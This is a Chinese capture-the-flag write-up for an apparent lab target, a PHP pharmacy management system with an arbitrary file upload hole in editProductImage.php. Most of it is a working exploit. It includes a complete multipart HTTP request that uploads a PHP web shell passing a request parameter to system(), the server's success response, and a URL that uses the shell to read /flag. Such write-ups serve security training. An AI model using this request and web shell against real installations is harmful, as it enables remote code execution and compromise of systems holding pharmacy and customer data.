靶标介绍：
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口，客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库，并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞，进而导致任意代码执行。
存在文件上传漏洞
根据这个exploit改一下
request数据包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| POST /php_action/editProductImage.php?id=1 HTTP/1.1
Host: eci-2ze0i2e1tnf3fth4xy3g.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pgv_pvi=9677447168; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1670301763,1670415880,1670667266,1671111244; PHPSESSID=vhpdgltv6o0bfj7tdmrcn63ski; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1671111845
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 532
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: image/jpeg
<?php
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"
-----------------------------208935235035266125502673738631--
|
response数据包:
1
2
3
4
5
6
7
8
9
10
11
12
| HTTP/1.1 302 Found
Date: Thu, 15 Dec 2022 13:51:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 77
Connection: close
X-Powered-By: PHP/7.2.20
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: ../product.php
Image uploaded successfully{"success":true,"messages":"Successfully Updated"}
|
成功上传，然后在/assets/myimages/shell.php利用webshell
1
| /assets/myimages/shell.php?s=cat%20/flag
|
